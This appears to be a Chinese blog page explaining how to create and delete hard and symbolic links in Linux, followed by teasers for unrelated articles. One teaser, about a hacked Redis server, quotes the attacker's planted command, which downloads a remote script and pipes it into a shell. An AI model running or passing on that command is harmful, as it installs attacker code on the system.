当前位置: 首页 > news >正文

Linux链接的创建,删除,修改

目录

  • 1. 概述
  • 2. 硬链接
    • 2.1 创建硬链接
    • 2.2 删除硬链接
  • 3. 软链接
    • 3.1 创建软链接
    • 3.2 删除软链接
  • 5. 常用的终端工具下载

计算机基础–Linux详解

在这里插入图片描述

1. 概述

  在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,从而允许同一个文件在多个位置上被访问。在Linux系统中,有两种主要类型的链接:硬链接和符号链接(也称为软链接)。

  硬链接: 硬链接是指在文件系统中创建的一个文件的另一个名称。当创建硬链接时,实际上是在文件系统中为相同的文件分配了另一个目录项。这意味着一个文件可以有多个硬链接,它们实际上都指向相同的数据块。硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。硬链接的创建只能在同一个文件系统中进行,因为硬链接是基于inode的,而不同的文件系统可能会有不同的inode。

  符号链接(软链接): 符号链接是指创建的一个特殊类型的文件,它包含了指向另一个文件或目录的路径。与硬链接不同,符号链接实际上是一个指向另一个文件或目录的符号。这意味着符号链接与原始文件之间存在一个间接的关系,而不是像硬链接那样直接指向相同的数据块。符号链接可以跨越文件系统边界,因为它们只是包含了路径信息,而不是直接基于inode。

  链接的作用: 链接在Linux系统中具有多种作用。首先,它们允许用户创建文件的多个引用,这在组织文件和目录结构时非常有用。其次,链接可以用于创建指向共享库或其他系统文件的引用,从而使系统更加灵活和可配置。此外,链接还可以用于创建快捷方式或符号链接,使用户可以方便地访问文件或目录。

  在Linux系统中,链接是一个重要的文件系统概念,它为用户提供了一种有效的方式来管理文件和目录。通过理解硬链接和符号链接的特性和用途,用户可以更好地利用链接来组织文件系统,提高系统的灵活性和可维护性。同时,链接也是Linux系统中一个非常强大的功能,对于文件管理和系统配置都具有重要意义。

2. 硬链接

  在Linux系统中,硬链接是通过文件系统的inode和目录项来实现的。每个文件在Linux文件系统中都有一个唯一的inode,它包含了文件的元数据信息,如文件的权限、所有者、大小等。当创建一个硬链接时,实际上是创建了一个新的目录项,这个目录项指向了原始文件的inode。这意味着硬链接与原始文件共享相同的inode和数据块,它们实际上是同一个文件的不同名称。

  当创建一个硬链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件inode的引用。这样,原始文件和硬链接之间就建立了一个一对多的关系,多个目录项指向同一个inode。这也是为什么硬链接只能在同一个文件系统中创建,因为不同文件系统的inode是不同的。

  当对硬链接文件进行修改时,实际上是对原始文件的inode进行的修改,因为它们共享相同的inode。这意味着无论是原始文件还是硬链接文件,对文件内容的修改都会影响到其他所有的硬链接文件。

  另外,硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。这意味着对于操作系统来说,硬链接文件和原始文件没有本质上的区别,它们都是同一个文件的不同引用。这也是为什么删除原始文件并不会影响已经创建的硬链接文件的原因。

  总的来说,硬链接是Linux文件系统中一个非常有用的特性,它允许用户创建文件的多个引用,提高了文件系统的灵活性和可维护性。通过理解硬链接的实现原理和特性,用户可以更好地利用硬链接来组织文件系统,管理文件和目录。

2.1 创建硬链接

语法:

ln [选项] <源文件或目录> <目标文件或目录>
-s:创建符号链接(软链接)。
-f:强制创建链接,覆盖已存在的文件。
-n:不要覆盖已存在的目标文件。
-i:在创建符号链接时提示是否覆盖已存在的目标文件。
-v:显示详细信息,即显示创建链接的过程。
# 为1.txt文件创建一个硬连接文件11.txt
ln 1.txt 11.txt

在这里插入图片描述

2.2 删除硬链接

可以使用rm命令或unlink函数。

语法:

unlink [选项] 文件名
rm 11.txt
#或者 
unlink 11.txt

在这里插入图片描述

3. 软链接

  在Linux系统中,软链接(也称为符号链接)是一种特殊的文件类型,它包含了指向另一个文件或目录的路径。软链接的实现原理与硬链接有所不同。

  软链接是通过创建一个新的inode和数据块来实现的。当创建一个软链接时,实际上是创建了一个新的文件,该文件包含了指向原始文件或目录的路径信息。这个新的文件与原始文件或目录之间没有直接的关联,而是通过路径信息进行关联。

  当创建一个软链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件或目录的路径信息。这样,软链接文件与原始文件或目录之间就建立了一种类似快捷方式的关系。

  与硬链接不同的是,软链接文件和原始文件或目录是两个独立的文件,它们有不同的inode和数据块。因此,软链接文件和原始文件或目录之间的修改不会相互影响。另外,软链接也可以跨越不同的文件系统进行创建,因为它们之间没有直接的inode关联。

3.1 创建软链接

语法:

ln -s 原文件 链接文件
# 为1.txt文件创建一个软连接文件2.txt
ln -s 1.txt 2.txt

在这里插入图片描述

3.2 删除软链接

语法:

rm 链接文件
# 删除软连接文件2.txt
rm 2.txt

在这里插入图片描述

5. 常用的终端工具下载

OpenSSH下载
PuTTY下载
SecureCRT下载
WinSCP下载
MobaXTerm下载

相关文章:

Linux链接的创建,删除,修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中&#xff0c;链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例&#xff1a; android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK&#xff0c;实现app流量变现 Ability页面的生命周期 学习前端&#xff0c;第一步最重要的是要理解&#xff0c;页面启动和不同场景下的生命周期的…...

【Flink 从入门到成神系列 一】算子

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;阿里巴巴淘天Java开发工程师&#xff0c;CSDN博客专家&#x1f4d5;系列专栏&#xff1a;Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列&#x1f525;如果感觉博主的文章还不错…...

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题&#xff0c;一套可能的研究总体方案&#xff1a; 问题定义与建模&#xff1a; 确定研究的具体范围和目标&#xff0c;包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型&#xff08;MDP&#xff09…...

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中&#xff0c;背景多数分为&#xff1a;颜色或写实图片两种。 颜色很好理解&#xff0c;大多以深色底为主。强调一种神秘感和沉稳感&#xff0c;同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用&#xff0c;就要求其…...

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法&#xff0c;分别是&#xff1a; 1.列表传参&#xff1a;将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参&#xff1a;将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口&#xff0c;密码也比较简单&#xff0c;也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本&#xff0c;比如&#xff1a;Back1 Back2 Back3 Back4 &#xff0c;内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式&#xff0c;如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置&#xff1b;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成&#xff0c;反正适用于我的需求了&#xff0c;其他人想复用到自己的项目的话&#xff0c;不一定。写的也不是很好&#xff0c;感觉搞的有点复杂啦。完全可以在优化一下&#xff0c;项目赶工期&#xff0c;就先这样吧。能用就行&#xff0c;其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

Android 实现动态申请各项权限

在Android应用中&#xff0c;如果需要使用一些敏感的权限&#xff08;例如相机、位置等&#xff09;&#xff0c;需要经过用户的授权才能访问。在Android 6.0&#xff08;API级别23&#xff09;及以上的版本中&#xff0c;引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】

题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 输入&#xff1a;l1 [], l2 [] 输出&#xff1a;[] 输入&#xff1a;l1 []…...

安全与认证Week3 Tutorial+历年题补充

目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证&#xff0c;为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...

【Kotlin】协程

Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中&#xff0c;笔者发现很多异步或者耗时的操作&#xff0c;都使用了Kotlin中的协程&#xff0c;所以特地研究了一番。 定义 关于协程&#xff08;Coroutine&#xff09;&#xff0c;其实…...

Scikit-Learn线性回归(五)

Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片

使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍

目录 ​编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) &#xff0…...

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站&#xff0c;会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后&#xff0c;网站没有变化的情况。 不熟悉siteground主机的新手&#xff0c;遇到这个问题&#xff0c;就很抓狂&#xff0c;明明是哪都没操作错误&#x…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

PL0语法,分析器实现!

简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

SiFli 52把Imagie图片,Font字体资源放在指定位置,编译成指定img.bin和font.bin的问题

分区配置 (ptab.json) img 属性介绍&#xff1a; img 属性指定分区存放的 image 名称&#xff0c;指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件&#xff0c;则以 proj_name:binary_name 格式指定文件名&#xff0c; proj_name 为工程 名&…...

[ACTF2020 新生赛]Include 1(php://filter伪协议)

题目 做法 启动靶机&#xff0c;点进去 点进去 查看URL&#xff0c;有 ?fileflag.php说明存在文件包含&#xff0c;原理是php://filter 协议 当它与包含函数结合时&#xff0c;php://filter流会被当作php文件执行。 用php://filter加编码&#xff0c;能让PHP把文件内容…...

Ubuntu系统复制(U盘-电脑硬盘)

所需环境 电脑自带硬盘&#xff1a;1块 (1T) U盘1&#xff1a;Ubuntu系统引导盘&#xff08;用于“U盘2”复制到“电脑自带硬盘”&#xff09; U盘2&#xff1a;Ubuntu系统盘&#xff08;1T&#xff0c;用于被复制&#xff09; &#xff01;&#xff01;&#xff01;建议“电脑…...

消防一体化安全管控平台:构建消防“一张图”和APP统一管理

在城市的某个角落&#xff0c;一场突如其来的火灾打破了平静。熊熊烈火迅速蔓延&#xff0c;滚滚浓烟弥漫开来&#xff0c;周围群众的生命财产安全受到严重威胁。就在这千钧一发之际&#xff0c;消防救援队伍迅速行动&#xff0c;而豪越科技消防一体化安全管控平台构建的消防“…...

算法250609 高精度

加法 #include<stdio.h> #include<iostream> #include<string.h> #include<math.h> #include<algorithm> using namespace std; char input1[205]; char input2[205]; int main(){while(scanf("%s%s",input1,input2)!EOF){int a[205]…...

更新 Docker 容器中的某一个文件

&#x1f504; 如何更新 Docker 容器中的某一个文件 以下是几种在 Docker 中更新单个文件的常用方法&#xff0c;适用于不同场景。 ✅ 方法一&#xff1a;使用 docker cp 拷贝文件到容器中&#xff08;最简单&#xff09; &#x1f9f0; 命令格式&#xff1a; docker cp <…...